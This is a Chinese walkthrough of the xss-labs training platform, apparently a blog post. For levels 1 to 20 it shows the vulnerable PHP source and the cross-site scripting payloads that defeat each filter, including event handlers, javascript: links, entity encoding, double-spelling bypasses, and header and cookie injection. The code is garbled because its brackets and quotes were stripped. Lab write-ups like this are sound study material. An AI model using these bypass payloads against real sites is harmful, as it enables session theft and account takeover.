建站之星网站成品分离,笫三性WordPress,WordPress破解分享,网站建设市场趋势xss-labs下载地址#xff1a;GitHub - do0dl3/xss-labs: xss 跨站漏洞平台
xss常见触发标签#xff1a;XSS跨站脚本攻击实例与防御策略-CSDN博客
level-1 首先查看网页的源代码发现get传参的name的值test插入了html里头#xff0c;还回显了payload的长度。
!DOCTYPE …xss-labs下载地址GitHub - do0dl3/xss-labs: xss 跨站漏洞平台
xss常见触发标签XSS跨站脚本攻击实例与防御策略-CSDN博客
level-1 首先查看网页的源代码发现get传参的name的值test插入了html里头还回显了payload的长度。
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel2.php?keywordtest;
}
/script
title欢迎来到level1/title
/head
body
h1 aligncenter欢迎来到level1/h1
h2 aligncenter欢迎用户test/h2centerimg srclevel1.png/center//test在这里回显
h3 aligncenterpayload的长度:4/h3/body
/html
输入?namescriptalert()/script即可。//alertjs弹窗函数。
查看一下源代码
//没有过滤直接传参触发xss即可
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel2.php?keywordtest;
}
/script
title欢迎来到level1/title
/head
body
h1 aligncenter欢迎来到level1/h1
?php
ini_set(display_errors, 0);
$str $_GET[name];//产参输入
echo h2 aligncenter欢迎用户.$str./h2;
?
centerimg srclevel1.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str)./h3;
?
/body
/html
level-2
和第一关一样先注入一下试试scriptalert()/script没有成功查看页面源代码。 可以看到第一个的特殊符号尖括号被实体化了但是第二个没有。不过第二个被双引号闭合起来了语句没有被执行那么闭合两侧的双引号和尖括号即可。
输入scriptalert()/script
查看一下源代码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel3.php?writingwait;
}
/script
title欢迎来到level2/title
/head
body
h1 aligncenter欢迎来到level2/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword]; //下面这个htmlspcialchars()函数将参数给实体化了
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel2.php methodGET
input namekeyword value.$str.
input typesubmit namesubmit value搜索/
/form
/center;
?
centerimg srclevel2.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str)./h3;
?
/body
/html
level-3
和之前一样输入scriptalert()/script没有成功查看页面源代码。 可以看到两个地方都被实体化了。查看源代码发现都是htmlspcialchars()函数进行的实体化而此函数只是对尖括号进行实体化所以我们可以使用onfocus事件绕过代码中是用的单引号所以需要单引号闭合。
onfocus事件onfocus事件在元素获得焦点时触发最常与 input、select 和 a 标签一起使用简单来说onfocus事件就是当输入框被点击的时候就会触发myFunction()函数然后我们再配合javascript伪协议来执行js代码。
输入 onfocusjavascript:alert()
输入完成后没有弹窗再次点击一下输入框就可以触发。
level-4
查看页面源代码发现这关用的是双引号。依然可以使用onfocus进行绕过。
输入 onfocusjavascript:alert()
查看一下源代码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel5.php?keywordfind a way out!;
}
/script
title欢迎来到level4/title
/head
body
h1 aligncenter欢迎来到level4/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str2str_replace(,,$str);//本行和下一行的代码将两个尖括号删除了。
$str3str_replace(,,$str2);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel4.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
?
centerimg srclevel4.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str3)./h3;
?
/body
/html
level-5
首先输入 onfocusjavascript:alert() 查看页面源代码。 我们输入的on变成了o_n这就过滤了onfocus方法。
查看一下源代码。
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel6.php?keywordbreak it out!;
}
/script
title欢迎来到level5/title
/head
body
h1 aligncenter欢迎来到level5/h1
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);//将字母转化为小写。
$str2str_replace(script,scr_ipt,$str);//过滤了script
$str3str_replace(on,o_n,$str2);//过滤了onfocus
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel5.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
?
centerimg srclevel5.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str3)./h3;
?
/body
/html
有转化字母为小写的函数所以我们无法使用大小写绕过。这里我们使用a href方法。
a href方法href的属性是 当a被点击时会执行触发跳转。那么我们就可以触发执行一段js代码或者一段链接这里插入一段js代码。
输入 a hrefjavascript:alert()xxx/a
输入完成后点击xxx链接即可。
level-6
查看页面源代码没有发现过滤了什么输入关键词看看onfocus script a hrefjavascript:alert()再看源代码发现这几个都被过滤了。再加上大小写看看有没有被转化。输入OnFocus sCriPt a hReFjavascript:alert()。
查看源代码没有过滤大小写。 使用大小写绕过 sCriptalert()/sCript Onfocusjavascript:alert() a hRefjavascript:alert()x/a //三者选其一都可
查看源代码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel7.php?keywordmove up!;
}
/script
title欢迎来到level6/title
/head
body
h1 aligncenter欢迎来到level6/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str2str_replace(script,scr_ipt,$str);//过滤script
$str3str_replace(on,o_n,$str2);//过滤onfocus
$str4str_replace(src,sr_c,$str3);//过滤src
$str5str_replace(data,da_ta,$str4);//过滤data
$str6str_replace(href,hr_ef,$str5);//过滤ghref
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel6.php methodGET
input namekeyword value.$str6.
input typesubmit namesubmit value搜索 /
/form
/center;
?
centerimg srclevel6.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str6)./h3;
?
/body
/html
level-7
和之前一样输入关键词看看效果 OnFocus sCriPt a hReFjavascript:alert()
查看源代码看看结果如图大写变成了小写onscripthrefscript这些关键词被删了。 被删除了那么就用双拼写绕过即可例如oonn中间的on被删掉后依然是on。
输入 a hrehreffjavasscriptcript:alert()x/a
level-8
本关看页面需要上传一个友情链接先输入一个123看看看到在input标签和href中有传到了输入的内容。 下来测试一下过滤情况输入 sRc DaTa OnFocus sCriPt a hReFjavascript:alert()看一下结果。可以看到两个里面的尖括号和双引号都被实体化了。 这里需要使用到href的一个隐藏属性href自动Unicode解码我们可以插入一段js伪协议。
输入javascript:alert()
使用在线工具进行Unicode编码解码得
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#41;
输入后点击友情链接即可。
level-9
先输入关键词看看过滤情况 sRc DaTa OnFocus sCriPt a hReFjavascript:alert() #106; 没有插入成功看下源代码。 当输入语句没有http://时strpos函数会返回false和false相等此时会执行if语句因此我们需要输入中有http://但是要注释掉以免影响执行其他语句。
输入#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#41;/* http:// */
level-10
输入关键词看看过滤情况 sRc DaTa OnFocus sCriPt a hReFjavascript:alert() #106;
查看页面源代码发现全部被实体化了查看源代码。 还有一个隐藏的传参t_sort过滤掉了尖括号使用onfocus事件因为输入框被隐藏所以添加typetext。
输入:?t_sort onfocusjavascript:alert() typetext
输入完成点击输入框即可。
level-11
查看页面源代码 发现input标签里面四个值都做了隐藏不过第四个名为t_ref的input标签是http头referer的参数就是由啥地址转跳到这里的http头的referer会记录有使用get和post传参输入检查一下前三个会发现都上传失败了所以我们使用BP抓包添加http头。
输入Referer: onfocusjavascript:alert() typetext 输入后点击输入框即可。
level-12
查看源代码。 根据源代码这是user-agent头使用BP修改UA头即可。修改为 onfocusjavascript:alert() typetext level-13
查看页面源代码。
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel14.php;
}
/script
title欢迎来到level13/title
/head
body
h1 aligncenter欢迎来到level13/h1
h2 aligncenter没有找到和good job!相关的结果./h2center
form idsearch
input namet_link value typehidden
input namet_history value typehidden
input namet_sort value typehidden
input namet_cook value typehidden//t_cook考虑到cookie值。
/form
/centercenterimg srclevel13.png/center
h3 aligncenterpayload的长度:9/h3/body
/html
打开F12找到cookie值修改这次使用 onclickalert() typetext 当然onfocus也可以 onfocusjavacript:alert() typetext level-14
本关是要跳转到一个网站在那个网站进行注入但是现在网站崩了就没法打了直接到15关。
level-15 ng-include指令就是文件包涵的意思用来包涵外部的html文件如果包涵的内容是地址需要加引号
这里我们可以包含第一关然后进行绕过。
输入?src/level1.php?nameimg src1 onmouseoveralert()
level-16 可以看到test被插入进了center标签中故而不需要闭合测试一下关键字
?keyword sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P sCriPt a hReFjavascript:alert() #106;
发现这里先是将字母小写化了再把script替换成空格最后将空格给实体化。/也被替换成了空格。使用svg标签。
输入?keywordsvg%0Aonloadalert(1)
level-17
测试一下关键词发现使用了html转义这里不需要闭合符号传入的参数都出现在了embed标签上打开后缀名为swf的文件FLASH插件的文件现在很多浏览器都不支持FLASH插件了
embed标签embed标签可以理解为定义了一个区域可以放图片、视频、音频等内容但是呢相对于他们embed标签打开不了文件的时候就会没有显示的区域。
可以使用flash打开如果不想下载可以去源代码将xsfo01.swf改为index.png即可。
输入?arg02 onclickalert()
再点击一下图片即可。
level-18
和上一关一样先改了一下后端的代码。只进行了实体化函数和上一关基本一样。
输入?arg02 onmousedownalert()
level-19
最后几关都是flash xss。
输入?arg01versionarg02a hrefjavascript:alert()here/a
level-20
输入?arg01idarg02xss\))}catch(e){alert(1)}//%26width123%26height123